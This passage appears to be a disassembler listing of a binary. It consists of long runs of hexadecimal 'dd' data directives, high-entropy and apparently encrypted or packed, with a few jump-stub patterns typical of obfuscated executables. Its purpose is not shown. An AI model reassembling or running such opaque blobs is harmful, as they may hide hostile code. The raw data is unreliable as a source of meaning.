0BED4688Ah, 1B31C5E5h, 7B91253Fh, 0DEF4889Ch dd 7A53E703h, 0E400DB74h, 42603A50h, 0A4BA98AEh, 51DFA10h dd 910EBE71h, 13A8E3EAh, 56942368h, 73116179h, 0A9447C98h dd 2603D197h, 0CF98D60Eh, 0B3CBA897h, 0CDA7451Fh, 50DC77AFh dd 86215975h, 11669974h, 0CE30E05Ch, 42ACAA51h, 33BF2814h dd 8B2A3C58h, 17Fh, 617956B4h, 667E5B29h, 1996F8D2h, 1442A062h dd 527587F0h, 8321713Dh, 627C58A9h, 0FE368F2Ah, 0F6735163h dd 13A6B3F4h, 25431DBBh, 0BB983413h, 1F789670h, 0BBF34CE7h dd 0A6B46D0Eh, 9DC9DA13h, 4B6340DEh, 8B667813h, 0D8780974h dd 5DA68422h, 942F6781h, 5668033Bh, 2FB7h, 424DE000h, 1CBA1C6Ch dd 52ED2541h, 0A0FE8502h, 0F35C1442h, 0A922E8E1h, 87F013A6h dd 0A9D9A24Fh, 5D6E13A6h, 88A7529h, 0D24BD878h, 74000000h dd 29617956h, 5631805Bh, 2183C233h, 0C82114DFh, 2B04FB78h dd 69D21442h, 2D0AD810h, 320FDD15h, 99F20AE7h, 951005h dd 0C5A21442h, 95FA19ADh, 0EE4CC919h, 7D13A4F0h, 0D9B405DFh dd 91EA85BDh, 0CDACBE59h, 385831h, 0D6BD0565h, 0CE424EC0h dd 0AC872575h, 0C7A24090h, 617799ABh, 0EF166A86h, 946A18A7h dd 0B22CE54h, 0E9C10000h, 441D33C7h, 9E7A9024h, 0FBDAF084h dd 623D53E7h, 13D9B246h, 0AF435F3Ah, 0DA1BF99h, 6F0319F7h dd 0D0647C59h, 0BF06D1Dh, 0C713A8E4h, 2092F382h, 1080B247h dd 0E4FE10DFh, 4359ED09h, 9CFE4E66h, 4212581Fh, 0C6DEBB14h dd 32A2F38Eh, 0B05D4F00h, 0C1116A39h, 42AEBF44h, 0A0B21B14h dd 2906A47Eh, 2C3ED911h, 16F49257h, 1EFAC800h, 0D831CC04h dd 0C0CFACC6h, 42A0BC43h, 58B11A14h, 5D755220h, 520FBC9h dd 4D8A0000h, 0BA1C6C42h, 3A1C431Ch, 4B716BADh, 1BB6EE47h dd 0BF6A1009h, 7FE813A6h, 0AB50CD2Fh, 2713A6BFh, 39E6ACBEh dd 13A6BF46h, 0CB0F405h, 0D877F2F3h, 234E4h, 83770D00h dd 0D1442A0h, 5FDC2C82h, 13A8996Fh, 0CE6CBC25h, 2F45D9F1h dd 2B023A52h, 7DFA4A64h, 144C94A7h, 0E2FCD876h, 3488F1D0h dd 623237DBh, 2DF67CBCh, 0B600000Ah, 1228BCDEh, 6F851939h dd 0CFE57993h, 3248DCF0h, 0CEA73B57h, 38542F28h, 96B48EA4h dd 0F80EEC02h, 59714E64h, 0E56212C5h, 13A8E51Eh, 56E877BCh dd 36542E79h, 0C90363FEh, 0E318C866h, 49174FA8h, 0DE1C546Ch dd 435736D4h, 6DD09431h, 0AE47890h, 5A423198h, 0BBCDD419h dd 5BC41FE0h, 19BB8E0h, 56E10000h, 5B296179h, 0F8D2667Eh dd 1EB21986h, 0FB0DFED1h, 0A7F7B7D8h, 0A660A02Ah, 4D85EE13h dd 25431DBBh, 47611A13h, 0D5E613A6h, 3612ED91h, 36C3D877h dd 0EC000000h, 0FE18F492h, 0F6192BC6h, 48C51599h, 13A6A982h dd 46EDE050h, 0AAD255A6h, 0A654562Dh, 429B0413h, 7B04B1E9h dd 0D013A654h, 28D787BFh, 0ADD8771Dh, 0ECh, 2E7956D6h dd 64FF3753h, 6149BB0Bh, 0F87FFCE9h, 561442C4h, 34F18DEDh dd 0A133F90Bh, 0D83DC23Fh, 30991442h, 0D29041Eh, 122A07D5h dd 172F0CDAh, 2B6855C7h, 86E606DFh, 0CADCABD0h, 0A0C2B3A8h dd 78551442h, 0E2ADCC60h, 3DE7CCCh, 214AFE7h, 0E189A724h dd 76D813A4h, 0A52E02F9h, 5567D013h, 1FBD0D76h, 0A2B92144h dd 99C9B1F4h, 0BF18300Dh, 1E3A152Bh, 18C94FCAh, 961C5C6Ah dd 8E0h, 75092B03h, 0D266865Fh, 32C6E0BCh, 95293D1Ch, 0F488A47Fh dd 0A17CD51Bh, 1DBF185h, 5B394FE3h, 0BE9BB145h, 0AF5F12A6h dd 0A8E64D32h, 35C40913h, 6687B56h, 42A0F289h, 8CF76014h dd 1442A0F7h, 946EFA63h, 5BCD1D76h, 0A8837DD4h, 7A9CAE47h dd 73632EA0h, 96752DB8h, 0ADE076BBh, 2146D7Ah, 5FF30BE8h dd 0EF0DE785h, 350A1CB7h, 29617956h, 0B9973597h, 0A04338A3h dd 0A60F1442h, 7E9D7A94h, 33C5747h, 0BA377432h, 0DA7EAA18h dd 76D82881h, 420302F9h, 0AF54D114h, 2B144203h, 0F60871C2h dd 825CFAD4h, 43C5431h, 2CFE1069h, 2B6h, 6C424DBBh, 0D4D8AA1Ch dd 864F3C25h, 0F507B026h, 0C7D9BCEFh, 45DE6CE9h, 238C13A8h dd 0B9BD3EEBh, 0F90A13A9h, 2FAC0E4Dh, 13A9B948h, 0B08B9D06h dd 0D870F84Fh, 956AE749h, 4113A9B5h, 576F4CD8h, 0D372841Fh dd 22Eh, 627655F3h, 83777B50h, 0D1442A0h, 3EDC2C82h, 5B394B5Fh dd 677D5BF9h, 9AE65C55h, 0B7413A8h, 27DC59BBh, 0B413A89Ah dd 0A89A4037h, 54A50E13h, 6B7C8BEBh, 8827728Bh, 1DFA9876h dd 0F9977105h, 0EA910E1Bh, 6813A8F8h, 0D36EA6FFh, 0B2CAA7C1h dd 0CBECA37Ah, 0A8F8A94Eh, 63BC2513h, 3513B113h, 4E140D1Fh dd 0C144CF6h, 19D44FA3h, 0ABEB6232h, 77325h, 76987000h dd 0D3F3CCE2h, 334D293Fh, 96AA899Fh, 0F511EC02h, 0E9628861h dd 485EF20Eh, 0A6BC506Eh, 81EB2C8h, 0CC7F132Bh, 0E8D89F1Ch dd 317613A8h, 617956A2h, 667E5B29h, 809E7816h, 0D59BAD48h dd 0AE2B8D97h, 1442A0C9h, 6D0A1C85h, 51694639h, 1119E6BDh dd 5FBEE05Ch, 0DE000001h, 3861936Ch, 0D3E0405Eh, 0AC819397h dd 29617956h, 0D2667E5Bh, 82D2DCB3h, 0B4EC0AE4h, 0AC290719h dd 13A6B322h, 22CF0770h, 13A6B459h, 0F2A9DDEEh, 0B46C1390h dd 81EA13A6h, 96B946Fh, 376CD878h, 95000000h, 1C6C424Dh dd 24DB58BAh, 0B21442A0h, 877CF949h, 531442A0h, 29DFD8EAh dd 0E713A6A9h, 16B4467Eh, 120B1D3Dh, 13A6A969h, 0E599CDDEh dd 0D878081Ah, 0CABBh, 7956E400h, 0E23B4F2Eh, 0E501DCAAh dd 0B702DFADh, 3068C1DBh, 0BB642C9Eh, 97ED34B5h, 23831B55h dd 0DEF017AAh, 0C09CE7C4h, 0DFB94DA6h, 11B43E6Dh, 0C2C411A9h dd 0D0EA4AD2h, 63AB9DD8h, 0AF6FF3DEh, 0AA4B4456h, 0FD14425Eh dd 56B80820h, 425E22D9h, 3547B014h, 0C09B3913h, 206F92A4h dd 2D657F5Bh, 126B815Fh, 4EEC69B9h, 1C13A4B9h, 0EAC563B3h dd 49243ACEh, 37E9F226h, 8EE76E79h, 193AF33Ah, 1AA0E06Ah dd 618h, 3DD1F3CBh, 9A2E4E27h, 0FA8EA884h, 5DF105E4h, 0BC506C47h dd 69441DE3h, 0C9A3B94Dh, 230117ABh, 8663790Dh, 7727DA6Eh dd 0A8E905FAh, 0FD8CD113h, 0CB5F7B56h, 70C0D8B5h, 0CADCF6D2h dd 5230CEA8h, 56552A3Ch, 5B296179h, 0DF26F7Eh, 0C91442A0h dd 1394F2Dh, 20B40D66h, 4152h, 7956E100h, 7E5B2961h, 99781666h dd 0DC4BE77Eh, 0F34C3C94h, 3AB71BE1h, 0D2B14F0Ah, 6BE486BEh dd 0C6462CA6h, 1933459Eh, 0D6731D3Ch, 4C1400A6h, 23855FF3h dd 42D5D1A6h, 2147D14h, 1930h, 7956BF00h, 0D8A02B5Ah, 348D88DDh dd 99AD4FFCh, 0FF281442h, 0E3FBD847h, 79567E4Fh, 99731161h dd 58A8437Bh, 42A024DBh, 3749B214h, 6741DF71h, 7B143749h dd 0C466E333h, 8A13A89Ah, 0FD6FD121h, 0FD63BE70h, 3F0DBC52h dd 0BF72585h, 3236CD4Ah, 3BA413A8h, 0D9B6D0E2h, 3A172DC1h dd 0B25F831Bh, 0C11AADB6h, 0D1DDB289h, 0BCDD0481h dd 1C7E1442h, 96FED89Fh, 0FB0D761Bh, 0C563B31Ch, 0E1BFD1E7h dd 0FE4E6643h, 0FE581F9Ch, 8DF61B96h, 6643597Bh, 8160FE4Eh dd 0BE955B6Dh, 108DDDD1h, 1C72E9B2h, 340357C0h, 0B35A480Ah dd 4CEED73h, 3D150000h, 9871871Bh, 0F2CEE478h, 4F2E44D8h dd 0B691A73Bh, 0C72D069Ah, 397B38Eh, 61F513EDh, 0C3576D4Bh dd 24B8D0ADh, 0BF44C171h, 1B13A8EAh, 795647D6h, 0DAB7CD61h dd 931072C2h, 1442A0ECh, 29EF016Ah, 0C3B83597h, 8F1442A0h dd 1DFA1426h, 569A61FEh, 0B390DB17h, 6FC8639Bh, 96A0DE16h dd 0CD0519F8h, 0C3832032h, 0D3677F5Ch, 687C5BF9h, 93847B56h dd 7412E05Bh, 0CF6E8096h, 44h, 6C424DF8h, 0EF3B9F1Ch, 0F05913A6h dd 0E2402A0h, 0F0F8857Ah, 421F13A6h, 0A280962Ah, 21161E85h dd 9CF54AB3h, 0C2D1AE4Ch, 0A687BE45h, 5AB31C13h, 7D0E90FAh dd 618771Eh, 3310AE40h, 0D37091Bh, 0C6000004h, 0CCB33092h dd 8A1442A0h, 18F50F21h, 3812B000h, 0B042081Ah, 0D1F3312h dd 6AFE16F3h, 0F673444Bh, 1442A001h, 0BB0B64CDh, 0A6B34C3Eh dd 49990213h, 0A3B5CFABh, 0B44F30DDh, 0EBFC13A6h, 886200BBh dd 827D586Ah, 53D87809h, 5Bh, 6C424D7Ch, 7FA47E1Ch, 0CA1DDC26h dd 1FAB04C2h, 56F12943h, 23E96644h, 0F213A642h, 4F617554h dd 22CF0770h, 13A65459h, 34BAE1BAh, 1112A1B8h, 0F5C3FB54h dd 36C80018h, 0A664C2B9h, 0B2279013h, 8FE7ABDBh, 6996C67Eh dd 2FD8774Dh, 68AB50CDh, 0BE2713A6h, 0AF0DACh, 56360000h dd 0AF116179h, 0E41C3411h, 0A019DE49h, 4CB51442h, 0CBA6743Ah dd 0CCA977AFh, 0EAC664B4h, 6FA7C19Dh, 0A8437BD4h, 0A024DB58h dd 49B21442h, 0C6A37137h, 4C84A07Bh, 0CFC458B1h, 1442A4C6h dd 0C85C7451h, 85BDD5B2h, 7DCDE1AEh, 0A6AA9200h, 0C357C013h dd 53714BE9h, 3D711E41h, 59D870EDh, 319A1440h, 4C6843E1h dd 0ABC7A2B8h, 3581EA57h, 4BD11162h, 2F0h, 65F91BF3h, 0C256764Fh dd 22B6D0ACh, 85192D0Ch, 0E478946Fh, 916CE50Bh, 0F1CBE175h dd 4B293FD3h, 0AE8BA135h, 9F4F0296h, 0A8EC5D22h, 25B4F913h dd 0CB5F7B56h, 2CC0D8B5h, 6C424D5Bh, 8B9F7E1Ch, 0C8A6B853h dd 0A6A9854Bh, 0D7B65413h, 0DEF08BC3h, 0B15E96FFh, 13A6A9CEh dd 0A8B92B7Dh, 0B55413CEh, 9BCB687Ah, 772A1CE3h, 0DBB9D8h dd 3BD90000h, 5B304262h, 29617956h, 1464805Bh, 4A829876h dd 45D79DAFh, 0A09166E3h, 0D43D1442h, 0A4DCC9C2h, 15871442h dd 9DD0E0ADh, 112B3D3Dh, 72881C34h, 6E457D95h, 0C03D8D21h dd 13A6D1D2h, 65C71780h, 0A62D13E8h, 4456BF13h, 228C0322h dd 0CB5255D2h, 83211440h, 0BD5890A4h, 1363CCABh, 7DDD4FB1h dd 17A230E5h, 80E09702h, 56E1B89h, 0E2FED9F3h, 0FCD6744Eh dd 0F90BA6DEh, 94E804DFh, 62355FB7h, 0F9921858h, 0EA000001h dd 465CF012h, 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh dd 6C8863FCh, 0CAE8C2D8h, 2C422036h, 8DA58298h, 199646F9h dd 13A8ED62h, 561CABF0h, 0F1CB5F7Bh, 4C5E7653h, 0F8365532h dd 39573198h, 29A177D9h, 8E280D0h, 6A805EEAh, 63859732h dd 61795692h, 1EF99729h, 0FD940EFBh, 0B009B60Fh, 108DDD78h dd 1442EC6Bh, 526C7EE7h, 0B3C95D75h, 0AF86BED6h, 1C7ECEE0h dd 118EA57Eh, 1442EC6Ah, 14267FE8h, 0A6F5F11Bh, 0DE167F13h dd 65145027h, 4FD970F3h, 65687B8h, 0A69CF289h, 0E5F76013h dd 0C5A3EECBh, 68E577AFh, 13A69C93h, 247DD63Fh, 891E7190h dd 9DE1B1D6h, 0B6065FFFh, 42791F39h, 0C4FC6514h, 2EFA19F6h dd 0D61C1B56h, 37A9F952h, 6A3E00D7h, 0ED4E661h, 0FD792DAAh dd 0F30DE992h, 6BCD4A9Ah, 0F91C6ED8h, 9E6FC90h, 0B527B9F1h dd 3C6DFD0Ah, 0EA0416C4h, 7BEF60Ch, 0E3457430h, 0EEBF9166h dd 0C2A13D03h, 294355AEh, 81A0344Ch, 0D350A00Eh, 40AA6B9h dd 0C896CE37h, 0AAC4A0EBh, 8B621951h, 2402A0DBh, 0EB3BD60Eh dd 0D298896Eh, 0CADC450Bh, 0B993E8A7h, 0BC95639Bh, 9AEA439Ch dd 3681F31Dh, 8220820Ch, 5C238EA4h, 0BF3336F1h, 0F994CCE0h dd 4E2D3FA8h, 157751E5h, 36F1E398h, 0F9D36F33h, 4D7082DBh dd 9F1C6C42h, 34DCC87Eh, 0A573AB14h, 85A37DC8h, 0AD061AF9h dd 0E260319h, 5ED729D6h, 69420051h, 69431149h, 0CD5134Bh dd 0DFA42158h, 7B7EEEA0h, 0D997B912h, 0E343613Bh, 513C5F7Dh dd 1AB7C9E8h, 0CB16F36Ah, 0E579D2F2h, 0C9A7F2CFh, 558DA180h dd 8E2961BAh, 0CD6BFD35h, 0ABC5D7F1h, 0B280B8CCh, 0B583BBD7h dd 0B249C6DBh, 207EEEB5h, 0E7265EB7h, 0B72C6420h, 0DCB9A4E0h dd 3D1A30C4h, 0D67ED25h, 0F6000000h, 0CCB33092h, 8A1442A0h dd 0DD2C0F21h, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h dd 0E38953EEh, 4C381h, 0B9510000h, 4, 8759CB29h, 685C241Ch dd 61ADh, 68241489h, 7DBCh, 68242C89h, 7EA3B2Dh, 8124148Bh dd 4C4h, 2C8B5400h, 4C48324h, 762C68h, 24148900h, 8B08458Fh dd 8956242Ch, 4C681E6h, 83000000h, 348704C6h, 148B5C24h dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FA2DD6E9h dd 593272FFh, 4FB2B896h, 0C50307EAh, 81EDE0FFh, 0A44465CDh dd 6EEB265Dh, 0AFB52EDBh, 49716F69h, 4E82466h, 0C5343C55h dd 4B1E6FCFh, 60B345A7h, 1F6D1FC9h, 8DED63C9h, 48A859A8h dd 794879BBh, 7167D80h, 0A11A4353h, 692E6648h, 0E1E26348h dd 66F97CA0h, 0E0644DD6h, 6E8B4ADFh, 49B31C4Ah, 3A4868F9h dd 0AABB004Eh, 30BA4FB2h, 0B49349BFh, 0CFDD2FA4h, 0E8581868h dd 0DA9B41CBh, 0F4DE1EB5h, 869537D0h, 0A179021Eh, 80840B0Dh dd 0FE80A0Eh, 2A000000h, 8B46BCE4h, 9C57D05h, 0A461AFC0h dd 0F280FA0Ah, 0DE85E63h, 3A000000h, 0FADD264h, 0E08A65F3h dd 53A1B12h, 0A957BF66h, 2AC6815Fh, 0E900005Ch, 11h, 9333D2DAh dd 6E016CA4h, 7225EAB7h, 0DEB38189h, 5548B8BDh, 0C08131B7h dd 0CE48C190h, 0FFFE8B66h, 815BFC36h, 0F45255EBh, 0CA816656h dd 0EB818999h, 544FEDF5h, 11E9h, 848B3700h, 563E9C10h dd 3B703CEFh, 4751861Dh, 0EB81FDC0h, 35E7DB23h, 3BAFCF81h dd 1E892B8Eh, 0EE81FA8Bh, 6D12AE32h, 0CE9h, 1943A700h dd 67DDF04Ch, 0A20060D1h, 2EC68164h, 606D12AEh, 0DFE68057h dd 6870F5Eh, 81000000h, 86C8AFF2h, 0E8836131h, 8C850F01h dd 60FFFFFFh, 0F238BA66h, 0A7E961h, 11F50000h, 0CC470DBEh dd 38F3BAF5h, 0AFD666D1h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h dd 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h, 0BD897D60h dd 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h dd 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h dd 0DB4D5200h, 5EF357h, 9DBBEFB6h, 9500BD89h, 0EFB69F89h dd 0D00097BBh, 55C3B1B6h, 37005271h, 0D3C20DA4h, 0E0910h dd 0Ah dup(0) dd 1005E900h, 0FC680000h, 0E907EA53h, 0FFFA2BBBh, 0EA550268h dd 2BB1E907h, 0D468FFFAh, 0E907EA55h, 0FFFA2BA7h, 0EA56F468h dd 2B9DE907h, 8968FFFAh, 0E907EA57h, 0FFFA2B93h, 0EA582268h dd 2B89E907h, 0C068FFFAh, 0E907EA58h, 0FFFA2B7Fh, 0EA596B68h dd 2B75E907h, 1A68FFFAh, 0E907EA5Ah, 0FFFA2B6Bh, 0EA5B1368h dd 2B61E907h, 0E268FFFAh, 0E907EA5Bh, 0FFFA2B57h, 0EA5D4368h dd 2B4DE907h, 9A68FFFAh, 0E907EA5Fh, 0FFFA2B43h, 0EA608D68h dd 2B39E907h, 4119FFFAh, 9C758B1Fh, 0F6D2E87Ch, 533248DCh dd 0BA95AB3Fh, 0CB310A9Eh, 79BB792h, 65F917F1h, 0C75B714Fh dd 28BCD4B1h, 0B348C575h, 1F13A8F2h, 20924BDAh, 0E03ADC01h dd 2842546Fh, 2DFB334Bh, 0C2C0550h, 4CE039D4h, 0D855622Dh dd 14423623h, 9DED46AFh, 1555C62Bh, 54E0CAB6h, 704E6076h dd 0A68EF9F3h, 3D1BB713h, 0FB54EF27h, 0B59331C3h, 0EB948D9Fh dd 6013A6F1h, 4794700Eh, 0E3F54E6Eh, 0A15E1E46h, 36D877CCh dd 29h, 6C424D5Fh, 0A9E99F1Ch, 3EA713A6h, 0AAA65906h, 142513A6h dd 7D32C50h, 0D004D878h, 24000000h, 3B00DEB2h, 6B7D4607h dd 0B3309296h, 1442A0CCh, 556764Fh, 93708A9Ch, 0A0700784h dd 75DE1442h, 0B452E41Ch, 0EA85BDD9h, 0C7E3BED8h, 0CCE4C18Fh dd 0DAE9C694h, 42A0A65Dh, 72CB3414h, 0A4FDE9DEh, 0AA81442h dd 40DB132Fh, 87BFD7B4h, 0E3C0DAECh, 442137CBh, 721DF42Ch dd 0F56FEC3Ch, 0BB13A6B1h, 0F09FBE52h, 6E0C6EBEh, 6B647694h dd 14405360h, 375C52Eh, 0F8126113h, 2C0A1CE4h, 397B38Eh dd 0A2F612EDh, 623571BDh, 93B43A7Ah, 5200000Dh, 0AEC4587Ah dd 0B21B5D5h, 6B81152Fh, 0CEE4788Ch, 6A43D7F3h, 0D4F0CB84h dd 32502A40h, 94AA889Eh, 0F50DEA00h, 81FEAE61h, 13A8F3FAh dd 92841358h, 0C7FF17F4h, 25001A2Ch, 825F7509h, 4D05D66Ah dd 0BA1C6C42h, 13F2411Ch, 9B94A6FFh, 13A6A9D5h, 78EA3AA3h dd 5A2E3145h, 0DEA4B675h, 2669DA4Ch, 93F30FEAh, 9C28A202h dd 0D06BA3C3h, 0BD3AC5BEh, 809113A6h, 0F46798C4h, 0CE70D877h dd 90000000h, 860318F2h, 13A6B1F1h, 899BF45Dh, 5A7956B4h dd 0FC325585h, 0CF076062h, 0FAD72601h, 0B60FAAE2h, 0D9C5D17Eh dd 77541442h, 0D8B5CB5Fh, 0F9D270C0h, 0F406A1D9h, 7638572Eh dd 35AFA926h, 59F513A6h, 0BD0D667Ah, 3619DE5Bh, 4CB513A6h dd 96F9183Ah, 5AA13F11h, 0BE4AEF96h, 0F48FC7E3h, 0F2CE4B9Bh dd 801440BEh, 4E29C717h, 4B73FC2Bh, 0AD06AA70h, 0D9280319h dd 11ACE4FCh, 1E0564B8h, 6466235h, 0C8D80h, 5E805800h dd 0BBDBB4CAh, 1B351127h, 7E927187h, 0DDF9D4EAh, 0D18A7049h dd 3046DAF6h, 8EA43856h, 0F0069AB0h, 0B467FB13h, 0F5F08704h dd 195E13A8h, 5F7B568Ah, 0C9D8B5CBh, 42A0B74Ch, 5ABA2314h dd 4C8205D5h, 63F75083h, 61795692h, 667E5B29h, 0C6E0BCD2h dd 0CBE3C08Eh, 499F1037h, 3D5B3546h, 0C1116A05h, 0A68C9644h dd 0D2DB4413h, 2CBD35C7h, 763857E4h, 0E05FA926h, 9C05ECC8h dd 7560D264h, 46C02E54h, 0A8E70A1Ch, 0EBED920Fh, 0ED6A1310h dd 1310EB16h, 0A10A5BC4h, 1996F848h, 1310EB62h, 0EB8F74F1h dd 0E24B1310h, 38162891h, 0F75B67BBh, 7CCC3514h, 0D7B601DEh dd 0A81A6AC3h, 0B6A03157h, 0C2E4F606h, 63B7CFACh, 62C6CB10h dd 0BB890F4Fh, 2A00000Bh, 869C3052h, 0E3F98DADh, 4359ED07h dd 0A6BC5064h, 421BAFCBh, 0ACC8A3BCh, 0A280218h, 6C826076h dd 0CDE5C2D8h, 59D68639h, 13A8F5A2h, 565CEB30h, 52296179h dd 0A421713Dh, 13A68CEEh, 1C3210ACh, 5CF049E4h, 0EB0BE482h dd 0D5D9B6D9h, 0A8820885h, 67D01442h, 0F3F9822Fh, 3D4E1B8Ah dd 0BEAA5509h, 3F2BD093h, 54000000h, 1C6C424Dh, 0A6EF3B9Fh dd 9CE95913h, 485C3BC8h, 7528A5E8h, 0B9F10FE9h, 0D775C51Eh dd 103BDCF9h, 100A38ECh, 4F2E23B7h, 0C813A690h, 293FD3EBh dd 0A28024Bh, 0A6DE37D2h, 0B1520h, 424DAF00h, 0DC9F1C6Ch dd 7213A8F2h, 0F2EE9512h, 0D06C13A8h, 0AA5DDF1h, 6A0858B1h dd 7E1758Dh, 83996095h, 0E874256Eh, 1CB7EF0Fh, 0FB13F00Ah dd 0BA3ECC3h, 0E3323EBBh, 37A01442h, 216C49E7h, 41D52E42h dd 0F3880567h, 5F1B96C4h, 98D0E4C3h, 3E18A4FDh, 17F40E20h dd 9FF0C7FFh, 0BF5DBF0Fh, 5E3CC8E4h, 63751048h, 72D34C6Ah dd 5DB11A1Ch, 5A481B20h, 9B8D1353h, 4A00000Ah, 0A6BC5072h dd 319ADCDh, 63790D27h, 0C6DC7084h, 623BCFEBh, 0CCE8C39Ch dd 2A482238h, 8CA28096h, 0ED05E2F8h, 79F6A659h, 13A8F682h dd 927C0B50h, 0A0CCB330h, 0AC7B1442h, 0D7059BDDh, 6F81EA3Bh dd 42A48576h, 248A0514h, 3E5C36D4h, 7B596B06h, 0A8F5EAFEh dd 95076913h, 39282805h, 591E8920h, 0F513A895h, 329B7A8Ch dd 4F6744E2h, 0B0C8A5BBh, 0C0EEA178h, 0B93DF370h, 8AFC144Ch dd 24C618B9h, 4A24B0B4h, 0D23B1A2Ch, 31BB097Eh, 0B83E7E62h dd 0A06h, 51E507DFh, 0AE42623Bh, 0EA2BC98h, 710519F8h dd 0D064805Bh, 7D58F1F7h, 0DDB7CD61h, 37152BBFh, 9A778D21h dd 8B3BEE82h, 0A8F7690Eh, 11A0E513h, 29617956h, 5D412597h dd 52684A84h, 31492640h, 496443E1h, 32DA984Fh, 558DE6C7h dd 9EE2A8BAh, 6F9A5E1h, 0CFE05B6Ah, 494h, 15F492F8h, 1C2EC901h dd 0C81896F9h, 0A8F1134Bh, 858C113h, 0E1758D6Ah, 0CAA3EECBh dd 7ED772AAh, 0F2E69946h, 672813A8h, 0B47AF747h, 82144CDEh dd 18CCC519h, 8FCF6232h, 96D09h, 7EA07800h, 0DBFBD4EAh dd 3B553147h, 9EB291A7h, 0FD19F40Ah, 0F16A9069h, 5066FA16h dd 0AEC45876h, 1026BAD0h, 0D4871B33h, 0F8D0A724h, 397E13A8h dd 617956AAh, 667E5B29h, 792DEA2Eh, 9C63E042h, 3A1442A0h dd 1BE4BFD1h, 0BCE05C1Dh, 408h, 0A08477E5h, 89061442h dd 7E58D525h, 413A8F1h, 0D0AD4B9Bh, 0AC4A24B8h, 8DA7B9CDh dd 5F24A1B0h, 0FB13A8F2h, 3EC54292h, 9C13A8F2h, 10A2DA33h dd 93A45E9Eh, 3B4D8927h, 0E7377718h, 4C00A46Ah, 0B5097214h dd 6231DEE6h, 0CF0389C9h, 16000008h, 72881C3Eh, 0CFE57999h dd 2F45D9F3h, 92A83C50h, 2E079BB7h, 98B48FC8h, 0F614EE04h dd 586E4C62h, 0B9D1AEC4h, 45C27225h, 13A8F8BEh, 5648D71Ch dd 97296179h, 0FAF6B725h, 2BA8D4ABh, 14429154h, 2E409902h dd 0E71F3714h, 0FEBEE6A3h, 0E05BED01h, 363D6h, 8277FF00h dd 0C1442A0h, 5EDB2B83h, 13A8F17Fh, 80E6A214h, 73EF2D23h dd 0C9198261h, 192F4E2Bh, 7C038062h, 0DA13A88Eh, 23161171h dd 354BDF38h, 52F04058h, 8B265E74h, 0D40C20FFh, 8A612739h dd 0DC59A905h, 144C5706h, 8E176BD4h, 35623190h, 8246FF5h dd 0E9C10000h, 441D33C7h, 9E7A9024h, 0FBDAF084h, 623D53E7h dd 13D9B246h, 0AF435F3Ah, 0DA1BF99h, 6F0319F7h, 0D0647C59h dd 0BF06D1Dh, 0C713A8F9h, 0F492F382h, 0D0EAFC1Ah, 0D5A3DBF3h dd 6AA8E0F8h, 9D7AE5A1h, 0F5F7352h, 42A0ED92h, 0A7006914h dd 11C33C13h, 714E05Ch, 3D000000h, 2AF9Eh, 82772D00h, 0C1442A0h dd 79DB2B83h, 0AAE202DBh, 949E8B08h, 0D52E8606h, 0C2D8CAC3h dd 1D8613A8h, 3A522FCDh, 9BB390A6h, 0F26FD163h, 13A8240Dh dd 2B4E60C9h, 98FA4A64h, 0C90121FAh, 7D231C2Eh, 1B144C2Ah dd 5515EB2h, 46866232h, 775C0h, 76987000h, 0D3F3CCE2h dd 334D293Fh, 96AA899Fh, 0F511EC02h, 0E9628861h dd 485EF20Eh, 0A6BC506Eh, 81EB2C8h, 0CC7F132Bh, 0FAD89F1Ch dd 317613A8h, 1BF492A2h, 3821C3FBh, 23497398h, 0AAC4D62Fh dd 0D7D1AECDh, 2F4EE326h, 0F3D09ED6h, 0F4198BDBh, 0BAB01F54h dd 4503DE7h, 0F64F9447h, 0FE5229A6h, 97001442h, 0B881BF85h dd 8A5BCD8Ch, 0BCC33901h, 2C092335h, 7DBA01Dh, 0E771442h dd 1206BDAEh, 3E975073h, 0A62CD3AAh, 7A9E05Bh, 0D2000000h dd 1CB9Eh, 20922D00h, 27EB10B2h, 0F2EBFD85h, 1442B50Eh dd 57A70788h, 0C27DFFE5h, 8C9E471Ah, 0F6BE31AEh, 8BF413A8h dd 0A1C09D3Bh, 0F1D54E2h, 0A0F049A3h, 813AC13Eh, 0C18913A8h dd 3918CCE3h, 6AF65FB0h, 9F3A7290h, 78556B8Dh, 3E512860h dd 20BE2070h, 1D162846h, 144C5947h, 6158AC15h, 8A623192h dd 67CC44Ah, 91690000h, 0ECC5DB6Fh, 462238CCh, 0A382982Ch dd 0AE5FB8Fh, 7B815AEEh, 57EB07E2h, 0B5496741h, 17ABC19Fh dd 780C2401h, 0E39815C5h, 6F13A8FBh, 79569B2Ah, 7E5B2961h dd 27F02E66h, 0B23007Fh, 27DC59BBh, 781442A0h, 0B04B839Bh dd 0CAEAC35Fh, 8C9EF792h, 116C936Ah, 0E69E05Ch, 89000000h dd 0BDF50FEBh, 9E3B1022h, 0FCh, 0A083772Dh, 820D1442h dd 39B9F625h, 0A2FB8589h, 99D2D552h, 2FA113A8h, 41DA3F83h dd 4E3F581h, 6CE94B9Bh, 13A8F797h, 0EAC8DA43h, 7576F4Ch dd 29D30695h, 9FB1725Fh, 3F8A677Dh, 0D8B14263h, 0E08A842Eh dd 5BB44F87h, 19F39123h, 0C9C6E9FBh, 421895E5h, 10144C91h dd 4A7053A7h, 4F8F6232h, 5ADC9h, 3E603800h, 9BBB94AAh dd 0FB15F107h, 5E725167h, 0BDD9B4CAh, 0B1AA5029h, 1026BAD6h dd 6E841836h, 0D0E67A90h, 9447DBF3h, 0FB9067E4h, 0F93E13A8h dd 6179566Ah, 6F7E5B29h, 0A2DAF6D1h, 0A0E79C07h, 5E381442h dd 1C6D0840h, 0E4225AB3h, 17F46B1Bh, 13DAFFFh, 6F074A1h dd 0CDA4C6D8h, 0E05B5932h, 0CFEBC664h, 71EBDh, 9E470000h dd 28h, 7520922Dh, 0F699AE00h, 0ECC9E3F5h, 980A9CD4h, 26425819h dd 7E98AA15h, 0ED5189A1h, 6C493470h, 29F2C054h, 81000000h dd 11617956h, 193711AFh, 24DB46E1h, 0B21442A0h, 0A02ED552h dd 43AC1442h, 6512D8EAh, 1442A09Bh, 0EE51153Eh, 9465F911h dd 29617956h, 21713D52h, 